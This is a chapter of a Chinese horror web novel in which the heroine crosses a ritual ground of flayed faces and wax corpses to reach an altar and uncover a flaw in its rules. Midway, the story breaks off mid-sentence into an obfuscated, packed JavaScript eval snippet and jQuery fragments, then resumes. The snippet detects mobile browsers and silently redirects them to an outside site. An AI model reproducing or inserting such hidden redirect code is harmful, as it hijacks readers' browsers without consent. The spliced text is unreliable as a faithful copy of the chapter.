125.第 125 章
作品:《嘤嘤怪最适合抡大锤了![规则怪谈]》 云汐举起手臂。
此时她手背上的图纹,正散发着红色的荧光,仿佛黑暗中的一点萤火。
而借助着这微弱的光线,云汐抬头,看向四方。
她上方,举目所及,全是一串串悬挂的、整张的人脸皮。
云汐知道这东西。根据档案0的记载,那些远古的眷族会对奴隶进行大量残酷的□□折磨,并在奴隶们承受的痛苦到达极限时,及时将他们的脸皮活剥下来,并通过特殊的处理,确保这些人死前深刻的怨恨和憎恶,能一直被保留在脸皮中。
那些眷族认为这种人脸皮,是用来书写颂文的最佳载体。
奴隶死前的怨气越大,写在上面的颂文就越有可能被聆听到。
在举办最后的大祭祀时,远古眷族会在祭祀场周围,悬挂大量刻着咒文的人脸皮,作为仪式的经幡。
【就是这东西了。】
云汐想。
人皮脸干硬得瘪皱着,不知道在上面悬挂了多久。云汐的视线有些木然地扫过那一张张空洞的脸孔。
她依然能听到,他们死前的哀嚎。
这是一种强烈的精神污染!
换一个精神力弱一点的人过来,就这一眼,就能让他们当场精神崩溃。
而云汐也闭闭眼,低头,不再去看,也不再去聆听。
人脸串成的经幡,都连接指向黑暗深处的同一个方向。
云汐提步,在手中微弱光线的照射下,深一脚浅一脚地,向着那黑暗深处走去。
这里的地上堆着厚厚的碎骨,有人的、也有动物的。
咔、咔、咔……
云汐的每一步,都带着骨头相互挤压和破碎的声音。
仿佛已死之人的哀嚎。
云汐尽力对抗着这种无时无刻不在的精神干扰,她不知道自己走了多久。
或者很长。
或者很短。
时间和距离仿佛没有了意义。
直到某个时刻,云汐从骨头相互挤压的声音中,听到了一些水声。
她低头,看到随着她脚步的踩踏,有腐血从骨头缝之间涌出。
云汐举手,抬头。
微弱的光线下,她看到前方,立着一堵高大的血色墙面。
血,应该就是从墙体里面浸出来的。
云汐拒绝思考那栋墙是怎么筑成的。
墙体的轮廓,看起来像是形制古朴的老城墙。而那些人脸做成的经幡,都集中地连接到墙体的某一处。
云汐走过去,发现密密的经幡下,是一个巨大的门洞。
说是门洞,但进入其中后,云汐觉得这更像一条隧道。
因为手上的光线过于微弱,前方看不到头。云汐只能将手划向身侧,想要先看清周围。而微光照过去,从黑暗中露出来了——
一张布满空洞的死人脸。
云汐心里闷了一下。
那是一个被蜡封住的人。
他正对着墙跪着,双手平展着,被钉在墙面上。头向后折成九十度,正看着云汐。
他的脸上全是透骨的孔洞,像是被人硬生生按在密集的粗大钉子上,钉穿头颅而死后,留下的。
而云汐知道,这也是远古眷族的传统手艺。
他们习惯将人体部件,做成各种畸形的形态后,当做仪式器具来使用。
在这些眷族的认知中,越畸形的人体,就越“优雅”。
而根据记载,蜡封的干尸和人头,都是他们常用的器具。
眼前这具蜡尸,就是有人复刻那些手段,炮制出来的产物。
云汐看着蜡尸,停顿片刻,然后从兜里拿出了档案0最后一页的设计图纸,对应着图纸的标记,开始寻找自己的位置。
她已经抵达了核心区外缘。
根据设计图,她现在所在的地方是一条用来净化杂念、涤荡灵魂的朝圣步道。
向前,就是最后的祭祀场。
而似乎是真实的认知,触发了某种机制。那个后仰的死人头颅中,忽然浮起一缕缕血光。
云汐抬头看去,只见许多血红的荧光点,从头颅的空洞中飘起。
仿佛引路的萤火。
【他被制作成了一只接引用的长明灯。】
云汐看着那一团笼罩在血光中死亡面孔,怔怔地想。
萤火光点在眼前盈盈飘舞。光点之中,还隐约传来眼前的人,临死前惨烈的哀嚎声。
一种浓烈的绝望和窒息感,沿着血光的笼罩,向云汐浸染过来。
这就是这个人死前感受到的痛苦。
他濒死时的绝望恐惧,此时都充作了长明灯的燃料。
他被人钉在这里,困在死亡的那一刻,用自己灵魂的哀嚎,为每一个前来参与祭祀的朝圣者引路。
但云汐心中感受到的,除了对死亡的恐怖和颤栗,还升起来一股非常纯粹的痛恨。
眼前这个人,以及所有和她一样,被无辜卷入的人,就为了一个邪恶的野望,被如此残忍的屠杀!
或许是感受到了云汐的痛恨和憎恶,步道两侧,一团团血光,渐次点亮。
那些,都是以相似的姿势被钉在墙上,充作接引灯的一具具蜡尸。
那一团团莹莹的血光,是他们的灵魂正在发出绝望的嘶喊。
他们死前承受了太多的苦痛和折磨!
他们要对每一个经过的人控诉这些非人的不公!
但他们已经死了很久了。
他们残留的怨恨,也只能支撑着他们,发出一阵阵无意义的哀嚎。
云汐眨开模糊的泪水,低头对着设计图,穿过步道。
漫长的步道,开始沿着图纸的形状,在云汐身前缓缓铺开。
而云汐默默告诉自己:
前方核心区,最后的祭祀场里,存在着一个巨大的隐患。
它是存在于这个献祭体系里的底层缺陷。
也是一个机会。
或许,它可以成为她面对第二眷主时,握在手里的一张牌。
又或许,她可以利用那个隐患……结束这一切。
在这一刻,云汐终于能理解了。
梅丽医院的那位眼科赵主任,在发现了这个向邪神献祭的体系后,主动进入了迷雾世界里,就是为了结束这一切。
而现在云汐也有了类似的感受。
【如果有机会,应该让这一切结束的。】她想。
一瞬间,似是感应到了云汐的想法,那些惨烈的哀嚎声尖厉到了极点,耀眼的血光刺得她睁不开眼。
云汐只能用手掩在眼前。那一团团的萤火撞在她身上,散成了一阵阵悲切到极点的哭声。
而云汐艰难地对着设计图,数着自己路过的接引明灯,脚步艰难地向前穿行。
【到了。】
经过第三十三组长明灯后,前方应该就是最后的祭祀场了。
周围的血光快速黯淡,飘舞的荧火也快速熄灭。
云汐放下手,穿出步道。
前方又是一片完全的黑暗。她伸出手,借助手背图纹的微弱荧光,向前找路。
而就在她伸手的一瞬,远处,一点血色隐约亮起。
宛如池中的血月升起,照亮四周。
云汐渐渐看清,这是一个环形的下沉祭祀池。
周围的结构有点像罗马角斗场。
不过四方环绕的并不是看台,而是一座座腐朽的灵龛,以及摆放在灵龛周围的尸骨祭品。
而在最下方,中间的下沉平台中央,一座讲经台上,正散发着缕缕的血色光华。
云汐看看设计图,确认自己找对了地方。随即她坚定地迈步,向下。
一节节白骨垒成的阶梯,在云汐脚下展开。
而凡是她穿过的地方,那些供奉在灵龛周围的,用人骨做成的火把、人头做成的灯炉……都一一亮起。
空荡的角斗场,沿着云汐的脚步,逐渐点亮。
仿佛看客已经一一入场,只待云汐登上最后的舞台。
而云汐也一步步向下,平静地走到讲经台前。
讲经台是用洁白的人骨嵌接拼成的。台面上,刻着宿命之眼的徽记。就是它正在散发着血色的荧光。
云汐对比了一下,确认这个徽记,和自己手背上的图纹相同。
这意味着她获取的权限,足以调用这个讲经台。
【来吧。让我看看。】
云汐缓慢深呼吸,伸手。
将手按上去的一瞬,云汐感受到了一种……完全的匹配。
讲经台的权限激活,一瞬间,周围充斥起了无尽的喃呢。那是一群邪恶的信徒,在对着他们信仰的古老神祇,齐声唱颂!
时光浮起粼粼波光,第二眷主引导着诸多教众,向祂发起了献祭。
——这就是发生在此处的过往真相。
但此刻云汐却并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210825|170536||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有抬头,向这段过往的时光中投去注视。
而是开始回忆起她上一次在院长办公室门口,直接接触规则本身时的感受——
【时间是一种介质。】
云汐告诉自己。
再一次地,那种熟悉的感觉袭来。
物质的世界开始在时间中溶解,而支撑着物质运行的底层规则,开始变得清晰。
这一次,云汐主动改变了自己的认知。
利用讲经台的力量作为引导,她再一次打开了认知的视野,用自己的灵觉来观察这个规则世界。
无数的规则,宛如交织的明暗丝线,向着时间和空间的边界,无限延伸。
而云汐向着规则深处凝视,寻找那一处规则不能闭环的隐患所在。
但在这里,每一条规则上,都浸透着无穷的诅咒与恶念。它们开始回应云汐的凝视。
在云汐的认知中,这些规则逐渐变成了无数交织、缠绕、蠕动着的、仿佛亿万条拥有自我意识的蠕虫。
它们向着时间的起点与终点、向着空间每一个可知与不可知的维度疯狂滋长着、啃噬着。
更令云汐不寒而栗的是,它们能感觉到她的“注视”。
一种细微的、湿滑的摩擦声,开始从云汐的意识内响起。
这是规则本身,正在回应着她这个窥探者。
云汐坚持地对抗着这些声音的污染,继续搜寻。但渐渐的,从那令人骨头生寒的摩擦的声音中,云汐又感受到了一种……引导。
她向着引导的方向看去。
那里,亿万规则交织蠕动着,将核心处的一处缺陷暴露出来。
那个缺陷并非破损,并非错误,只是一个单纯的、无法闭合的空洞。
而在注视到那个空洞时,云汐立刻就知道了,那就是她感受到的“完全匹配”的感觉的来源——
她能够契合那个空洞。
刹那间,一种源自生命本能的、最原始的恐惧攥住了云汐。
她的所有认知,都在发出强烈的预警!
云汐霍然抬头。
不知从何时起,周围时空的纬度之间,撕裂开无数裂隙。无可名状的恐怖幻象,从裂隙中爬出!
那是一个个巨大如山岳般的腐烂生物。
它们像是从地狱的梦魇生出,又仿佛是被某种疯狂意志强行拼接出的扭曲造物。
那些庞大的躯体上处处溃烂流脓,而在那些溃烂处,又有许多,仿佛无数物种缝合而成的巨大肉翅或触须,从中长出。
此时,它们都低下了庞大的头颅,一只只空洞的眼眶中翻涌着粘稠、蠕动的黑色黏液。而无数眼睛正从黏液中长出,向着云汐,投来注视。
仿佛漫天的恶魔,从维度之上,俯视着她这只蝼蚁。
【他们都是仪式的参与者。】
在看到这些东西身上的异化征象时,云汐瞬间就明悟了——这些都是参与到祭祀仪式中的教众。
他们在第二眷主的带领下,修建了这个地下的祭祀场,并且成功地启动祭祀,获得了那位邪恶存在的回应!
他们都得到了孜孜以求的伟大力量,但他们忽视了存在于献祭仪式核心中的隐患。
三环的结构没有封闭。
所以旧日的神祇投来的注视,持续地和他们产生着联系。
这些人受到了持续的污染!并且最终落到了和那些远古眷族同样的下场——
它们快速沦为了一群畸形的怪物。
而就在此时,云汐忽然听到耳边传来了一声叹息。
是那个她在梦里听到的声音!
极大的危机感,让云汐顾不上意识永久崩溃的风险,立刻强行返回物质世界,要中断她和这一切的认知连接。
但随即,她就感到一种不可名状的压迫感,全方位的压制着她的认知——
【我将以祂的名重新降临。】
【你亦应当归入宿命。】
伴随着这一声低沉的叹息,云汐感觉到自己的意识,正在被动的投入到那个规则的“空洞”中。
无数认知、无数感受、无数思绪,划过云汐的意识。而她从中抓住了最重要的、她之前一直理解错了的一件事——
不是她在寻找规则的“缺陷”,而是规则的缺陷在 “等待” 她。
她无法利用这个存在于规则底层的隐患。
因为她本人,就是这个隐患的解决方案。